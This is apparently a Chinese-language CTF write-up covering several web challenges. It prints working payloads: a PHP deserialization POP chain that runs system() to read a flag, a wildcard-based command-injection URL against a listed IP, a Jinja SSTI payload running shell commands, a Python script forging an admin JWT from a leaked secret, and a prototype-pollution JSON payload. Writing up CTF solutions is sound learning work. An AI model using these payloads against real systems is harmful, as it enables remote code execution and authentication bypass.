[toc]
eeeeeeeeeeezunserialize
知识点:
pop链的构造:主要看这篇文章https://paper.seebug.org/1480/
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7fWdPkQI-1632746009325)(C:\Users\yuan\AppData\Roaming\Typora\typora-user-images\image-20210906180953364.png)]
POC
<?php
class entrance
{
public $start;
}
class springboard//跳板ne
{
public $middle;
}
class evil
{
public $end;
}
$a=new entrance();
$a->start=new springboard();
$a->start->middle=new evil();
// $a->start->middle->end='$_GET[\'a\'];';
$a->start->middle->end='system(\'cd ..;cd ..;cd ..;ls;cat flag;ls\');';
echo serialize($a);
?>
babeRCE
RCE, remote code execution,泛指能在远端机器上执行任意代码的情况。可是网站管理员添加了种种入侵检测,这该如何是好?
知识点:通配符,linux命令
通配符绕
[<http://47.93.215.154:5000/?rce=/>](<http://47.93.215.154:5000/?rce=/>)???/c?t${IFS}fla?.php
让 我 访 问
在注册页面发现有跳转,抓包发现可能有ssti
payload:{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
地狱通讯-改
打开题目直接给了源码:
这个页面主要有两个函数,第一个函数过滤了’admin’,并设置cookie留给第二个函数使用,第二个函数又只能用admin访问flag,所以我们可以通过format的漏洞去伪造处admin的token,主要用处就是去读取jwt加密的secret密钥和header
首先获取普通用户的tokentoken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoidXNlciJ9.ghbUg6IQbe5deetNUql48wZDf03LeZeMbNq0MXc0amU
然后带着cookie访问
/hello?flag={0.__class__.__init__.__globals__}
获得密钥isu_have_kn0w_what_f0rmat_i5和headers:{‘alg’: ‘HS256’, ‘typ’: ‘JWT’}
利用python 的jwt加密伪造token,带着token访问成功登录。
import jwt
payload = {"name": 'admin', }
secret = 'u_have_kn0w_what_f0rmat_i5'
headers = {'alg': 'HS256', 'typ': 'JWT'}
token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
print(token)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ.ONh7uQwunkVjB4_ZwuLNIHBGbciqLAtJxQF81elyqBc
参考:
地狱通信
同上
fake game
js原型链污染,使用merge函数时,但对象原型json格式作为键名时,可以改变原来类的属性。
payload:{"attributes": {"health": 0, "attack": 0, "armor": 0, "__proto__": {"health": 10000, "attack": 10000, "armor": 10000}}}